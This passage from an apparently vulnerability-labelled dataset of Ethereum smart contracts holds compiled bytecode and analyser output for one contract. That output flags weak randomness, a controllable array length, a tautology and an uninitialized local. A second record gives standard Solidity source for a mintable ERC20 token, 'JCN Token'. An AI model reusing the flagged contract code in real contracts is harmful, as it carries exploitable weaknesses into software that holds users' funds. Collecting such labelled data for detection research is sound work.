fffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561265157600080fd5b6000600660008561ffff1663ffffffff1681526020019081526020016000208360ff1681548110151561268057fe5b9060005260206000209060020201600001601b6101000a81548160ff0219169083151502179055506000600660008561ffff1663ffffffff1681526020019081526020016000208360ff168154811015156126d757fe5b906000526020600020906002020160000160006101000a81548160ff021916908360ff160217905550600090505b60038361ffff1681548110151561271857fe5b90600052602060002090600902016006018054905081101561288057600660008461ffff1663ffffffff1681526020019081526020016000208260ff1681548110151561276157fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660038461ffff168154811015156127bc57fe5b9060005260206000209060090201600601828154811015156127da57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561287357600160038461ffff1681548110151561283757fe5b906000526020600020906009020160080160008282829054906101000a900460ff160392506101000a81548160ff021916908360ff1602179055505b8080600101915050612705565b600090505b60038361ffff1681548110151561289857fe5b906000526020600020906009020160070180549050811015612a0057600660008461ffff1663ffffffff1681526020019081526020016000208260ff168154811015156128e157fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660038461ffff1681548110151561293c57fe5b90600052602060002090600902016007018281548110151561295a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156129f357600160038461ffff168154811015156129b757fe5b906000526020600020906009020160080160018282829054906101000a900460ff160392506101000a81548160ff021916908360ff1602179055505b8080600101915050612885565b505050565b600060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515612a6657600080fd5b6001151560038561ffff16815481101515612a7d57fe5b906000526020600020906009020160020160009054906101000a900460ff1615151415612aa957600080fd5b600060038561ffff16815481101515612abe57fe5b906000526020600020906009020160030154148015612b225750600460029054906101000a900460ff1660ff1660038561ffff16815481101515612afe57fe5b906000526020600020906009020160040160029054906101000a900460ff1660ff16145b15612b2c57600080fd5b600060038561ffff16815481101515612b4157fe5b90600052602060002090600902016003015414158015612ba65750600460039054906101000a900460ff1660ff1660038561ffff16815481101515612b8257fe5b906000526020600020906009020160040160029054906101000a900460ff1660ff16145b15612bb057600080fd5b600090505b60038461ffff16815481101515612bc857fe5b906000526020600020906009020160040160029054906101000a900460ff1660ff16811015612c93578273ffffffffffffffffffffffffffffffffffffffff1660038561ffff16815481101515612c1b57fe5b906000526020600020906009020160010182815481101515612c3957fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612c8657600080fd5b8080600101915050612bb5565b600160038561ffff16815481101515612ca857fe5b906000526020600020906009020160040160028282829054906101000a900460ff160192506101000a81548160ff021916908360ff16021790555060038461ffff16815481101515612cf657fe5b90600052602060002090600902016001018054806001018281612d199190614872565b9160005260206000209001600085909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060018260ff161415612e4a57600160038561ffff16815481101515612d8957fe5b906000526020600020906009020160080160008282829054906101000a900460ff160192506101000a81548160ff021916908360ff16021790555060038461ffff16815481101515612dd757fe5b90600052602060002090600902016006018054806001018281612dfa9190614872565b9160005260206000209001600085909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b60028260ff1614156130a257600160038561ffff16815481101515612e6b57fe5b906000526020600020906009020160080160018282829054906101000a900460ff160192506101000a81548160ff021916908360ff16021790555060038461ffff16815481101515612eb957fe5b90600052602060002090600902016007018054806001018281612edc9190614872565b9160005260206000209001600085909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506003808561ffff16815481101515612f3f57fe5b906000526020600020906009020160080160009054906101000a900460ff1660ff16148015612fa157506003808561ffff16815481101515612f7d57fe5b906000526020600020906009020160080160019054906101000a900460ff1660ff16145b15612fe457600160038561ffff16815481101515612fbb57fe5b906000526020600020906009020160020160006101000a81548160ff0219169083151502179055505b600060038561ffff16815481101515612ff957fe5b9060005260206000209060090201600301541415801561305e5750600460039054906101000a900460ff1660ff1660038561ffff1681548110151561303a57fe5b906000526020600020906009020160040160029054906101000a900460ff1660ff16145b156130a157600160038561ffff1681548110151561307857fe5b906000526020600020906009020160020160006101000a81548160ff0219169083151502179055505b5b50505050565b600080600090505b600160038561ffff168154811015156130c557fe5b906000526020600020906009020160040160039054906101000a900460ff160160ff168160ff1610156131e4578273ffffffffffffffffffffffffffffffffffffffff16600660008661ffff1663ffffffff1681526020019081526020016000208260ff1681548110151561313657fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156131d757600660008561ffff1663ffffffff1681526020019081526020016000208160ff168154811015156131b157fe5b906000526020600020906002020160000160029054906101000a900460ff1691506131e9565b80806001019150506130b0565b600091505b5092915050565b600060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561325157600080fd5b600660008561ffff1663ffffffff1681526020019081526020016000208360ff1681548110151561327e57fe5b906000526020600020906002020160000160039054906101000a900460ff1690506000600760008661ffff1661ffff1681526020019081526020016000206001830160ff166040811015156132cf57fe5b602091828204019190066101000a81548160ff021916908360ff16021790555081600660008661ffff1663ffffffff1681526020019081526020016000208460ff1681548110151561331d57fe5b906000526020600020906002020160000160036101000a81548160ff021916908360ff16021790555082600760008661ffff1661ffff1681526020019081526020016000206001840160ff1660408110151561337557fe5b602091828204019190066101000a81548160ff021916908360ff16021790555050505050565b6000600460009054906101000a900461ffff16905090565b6000808360ff1614156134275760038461ffff168154811015156133d357fe5b90600052602060002090600902016001018260ff168154811015156133f457fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061350e565b60018360ff16141561349a5760038461ffff1681548110151561344657fe5b90600052602060002090600902016006018260ff1681548110151561346757fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061350e565b60028360ff16141561350d5760038461ffff168154811015156134b957fe5b90600052602060002090600902016007018260ff168154811015156134da57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061350e565b5b9392505050565b600060038261ffff1681548110151561352a57fe5b906000526020600020906009020160040160049054906101000a900460ff169050919050565b600060038261ffff1681548110151561356557fe5b906000526020600020906009020160080160049054906101000a900460ff169050919050565b600460009054906101000a900461ffff1681565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156135fe57600080fd5b600160038261ffff1681548110151561361357fe5b9060005260206000209060090201600101805490500360038261ffff1681548110151561363c57fe5b906000526020600020906009020160000160009054906101000a900460ff1660ff1614156136a757600060038261ffff1681548110151561367957fe5b906000526020600020906009020160000160006101000a81548160ff021916908360ff1602179055506136f8565b600160038261ffff168154811015156136bc57fe5b906000526020600020906009020160000160008282829054906101000a900460ff160192506101000a81548160ff021916908360ff1602179055505b50565b6000613705614716565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561376457600080fd5b60008c61ffff16108061378e5750600460009054906101000a900461ffff1661ffff168c61ffff16115b1561379857600080fd5b60011515600560008867ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151480156137eb575060008667ffffffffffffffff1614155b156137f557600080fd5b6001600560008867ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508a816000019060ff16908160ff168152505089816020019060ff16908160ff168152505088816060019060ff16908160ff168152505087816080019063ffffffff16908163ffffffff1681525050600160038d61ffff1681548110151561389857fe5b906000526020600020906009020160040160038282829054906101000a900460ff160192506101000a81548160ff021916908360ff16021790555060038c61ffff168154811015156138e657fe5b906000526020600020906009020160040160039054906101000a900460ff16816040019060ff16908160ff16815250508060400151600760008e61ffff1661ffff16815260200190815260200160002060018b0160ff1660408110151561394957fe5b602091828204019190066101000a81548160ff021916908360ff160217905550868160a0019061ffff16908161ffff1681525050858160e0019067ffffffffffffffff16908167ffffffffffffffff16815250508481610100019067ffffffffffffffff16908167ffffffffffffffff16815250508381610140019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050828160c0019060ff16908160ff1681525050600181610120019015159081151581525050600660008d61ffff1663ffffffff1681526020019081526020016000208054806001018281613a4a919061489e565b9160005260206000209060020201600083909190915060008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555060608201518160000160036101000a81548160ff021916908360ff16021790555060808201518160000160046101000a81548163ffffffff021916908363ffffffff16021790555060a08201518160000160086101000a81548161ffff021916908361ffff16021790555060c082015181600001600a6101000a81548160ff021916908360ff16021790555060e082015181600001600b6101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506101008201518160000160136101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555061012082015181600001601b6101000a81548160ff0219169083151502179055506101408201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505060038c61ffff16815481101515613c2d57fe5b906000526020600020906009020160040160039054906101000a900460ff169150509a9950505050505050505050565b6000600760008461ffff1661ffff1681526020019081526020016000206001830160ff16604081101515613c8d57fe5b602091828204019190069054906101000a900460ff16905092915050565b6000600560008367ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600060149054906101000a900461ffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613d5857600080fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415613e3a5760018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160192506101000a81548161ffff021916908361ffff1602179055505b50565b6000806000806000806000806000613e53614716565b6000808d61ffff161080613e7e5750600460009054906101000a900461ffff1661ffff168d61ffff16115b15613e8857600080fd5b600760008e61ffff1661ffff16815260200190815260200160002060018d0160ff16604081101515613eb657fe5b602091828204019190069054906101000a900460ff169050600660008e61ffff1663ffffffff1681526020019081526020016000208160ff16815481101515613efb57fe5b906000526020600020906002020161016060405190810160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff1681526020016000820160029054906101000a900460ff1660ff1660ff1681526020016000820160039054906101000a900460ff1660ff1660ff1681526020016000820160049054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160089054906101000a900461ffff1661ffff1661ffff16815260200160008201600a9054906101000a900460ff1660ff1660ff16815260200160008201600b9054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160139054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201601b9054906101000a900460ff161515151581526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525050915081600001519a50816020015199508160400151985081606001519750816080015196508160a0015161ffff1695508160e0015194508161010001519350816101200151925050509295985092959850929598565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008461ffff1663ffffffff1681526020019081526020016000208260ff1681548110151561416c57fe5b906000526020600020906002020160000160049054906101000a900463ffffffff16905092915050565b60008060038361ffff168154811015156141ac57fe5b906000526020600020906009020160080160029054906101000a900460ff16915060038361ffff168154811015156141e057fe5b906000526020600020906009020160080160039054906101000a900460ff169050915091565b600060038261ffff1681548110151561421b57fe5b906000526020600020906009020160020160009054906101000a900460ff169050919050565b6000600660008461ffff1663ffffffff1681526020019081526020016000208260ff1681548110151561427057fe5b906000526020600020906002020160000160139054906101000a900467ffffffffffffffff16905092915050565b60008090505b60038261ffff168154811015156142b757fe5b906000526020600020906009020160040160039054906101000a900460ff1660ff168110156143e0576000600660008461ffff1663ffffffff1681526020019081526020016000208281548110151561430c57fe5b9060005260206000209060020201600001600b9054906101000a900467ffffffffffffffff1667ffffffffffffffff161415156143d357600060056000600660008661ffff1663ffffffff1681526020019081526020016000208481548110151561437357fe5b9060005260206000209060020201600001600b9054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806001019150506142a4565b5050565b6143ec614716565b60008261ffff1610806144165750600460009054906101000a900461ffff1661ffff168261ffff16115b1561442057600080fd5b6000816000019060ff16908160ff16815250506000816040019060ff16908160ff1681525050600181610120019015159081151581525050600660008361ffff1663ffffffff1681526020019081526020016000208054806001018281614487919061489e565b9160005260206000209060020201600083909190915060008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555060608201518160000160036101000a81548160ff021916908360ff16021790555060808201518160000160046101000a81548163ffffffff021916908363ffffffff16021790555060a08201518160000160086101000a81548161ffff021916908361ffff16021790555060c082015181600001600a6101000a81548160ff021916908360ff16021790555060e082015181600001600b6101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506101008201518160000160136101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555061012082015181600001601b6101000a81548160ff0219169083151502179055506101408201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505050565b61022060405190810160405280600060ff16815260200161467a6148d0565b815260200160001515815260200160008152602001600061ffff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600081526020016146d16148d0565b81526020016146de6148d0565b8152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff1681525090565b61016060405190810160405280600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600063ffffffff168152602001600061ffff168152602001600060ff168152602001600067ffffffffffffffff168152602001600067ffffffffffffffff168152602001600015158152602001600073ffffffffffffffffffffffffffffffffffffffff1681525090565b8154818355818115116147e3576009028160090283600052602060002091820191016147e291906148e4565b5b505050565b828054828255906000526020600020908101928215614861579160200282015b828111156148605782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190614808565b5b50905061486e9190614a34565b5090565b815481835581811511614899578183600052602060002091820191016148989190614a77565b5b505050565b8154818355818115116148cb576002028160020283600052602060002091820191016148ca9190614a9c565b5b505050565b602060405190810160405280600081525090565b614a3191905b80821115614a2d57600080820160006101000a81549060ff02191690556001820160006149179190614bbc565b6002820160006101000a81549060ff021916905560038201600090556004820160006101000a81549061ffff02191690556004820160026101000a81549060ff02191690556004820160036101000a81549060ff02191690556004820160046101000a81549060ff02191690556004820160056101000a81549060ff021916905560058201600090556006820160006149b09190614bbc565b6007820160006149c09190614bbc565b6008820160006101000a81549060ff02191690556008820160016101000a81549060ff02191690556008820160026101000a81549060ff02191690556008820160036101000a81549060ff02191690556008820160046101000a81549060ff0219169055506009016148ea565b5090565b90565b614a7491905b80821115614a7057600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101614a3a565b5090565b90565b614a9991905b80821115614a95576000816000905550600101614a7d565b5090565b90565b614bb991905b80821115614bb557600080820160006101000a81549060ff02191690556000820160016101000a81549060ff02191690556000820160026101000a81549060ff02191690556000820160036101000a81549060ff02191690556000820160046101000a81549063ffffffff02191690556000820160086101000a81549061ffff021916905560008201600a6101000a81549060ff021916905560008201600b6101000a81549067ffffffffffffffff02191690556000820160136101000a81549067ffffffffffffffff021916905560008201601b6101000a81549060ff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600201614aa2565b5090565b90565b5080546000825590600052602060002090810190614bda9190614a77565b505600a165627a7a723058201f8cef8d02c74014f4fc0eef3e80c56489f85baacd89f7facd8820152cbbe6af0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 9,928 |
0x32e4561fc1ffb62393f16d5704e60bb85fdd0202 | pragma solidity ^0.4.21;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: contracts/JcnxxxToken.sol
contract JcnxxxToken is MintableToken {
string public name = "JCN Token";
string public symbol = "JCNXXX";
uint8 public decimals = 18;
} | 0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100eb57806306fdde031461011a578063095ea7b3146101aa57806318160ddd1461020f57806323b872dd1461023a578063313ce567146102bf57806340c10f19146102f0578063661884631461035557806370a08231146103ba5780637d64bcb4146104115780638da5cb5b1461044057806395d89b4114610497578063a9059cbb14610527578063d73dd6231461058c578063dd62ed3e146105f1578063f2fde38b14610668575b600080fd5b3480156100f757600080fd5b506101006106ab565b604051808215151515815260200191505060405180910390f35b34801561012657600080fd5b5061012f6106be565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016f578082015181840152602081019050610154565b50505050905090810190601f16801561019c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b657600080fd5b506101f5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061075c565b604051808215151515815260200191505060405180910390f35b34801561021b57600080fd5b5061022461084e565b6040518082815260200191505060405180910390f35b34801561024657600080fd5b506102a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610858565b604051808215151515815260200191505060405180910390f35b3480156102cb57600080fd5b506102d4610c12565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102fc57600080fd5b5061033b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c25565b604051808215151515815260200191505060405180910390f35b34801561036157600080fd5b506103a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e0b565b604051808215151515815260200191505060405180910390f35b3480156103c657600080fd5b506103fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061109c565b6040518082815260200191505060405180910390f35b34801561041d57600080fd5b506104266110e4565b604051808215151515815260200191505060405180910390f35b34801561044c57600080fd5b506104556111ac565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104a357600080fd5b506104ac6111d2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ec5780820151818401526020810190506104d1565b50505050905090810190601f1680156105195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561053357600080fd5b50610572600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611270565b604051808215151515815260200191505060405180910390f35b34801561059857600080fd5b506105d7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061148f565b604051808215151515815260200191505060405180910390f35b3480156105fd57600080fd5b50610652600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061168b565b6040518082815260200191505060405180910390f35b34801561067457600080fd5b506106a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611712565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107545780601f1061072957610100808354040283529160200191610754565b820191906000526020600020905b81548152906001019060200180831161073757829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561089557600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108e257600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561096d57600080fd5b6109be826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186a90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a51826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b2282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600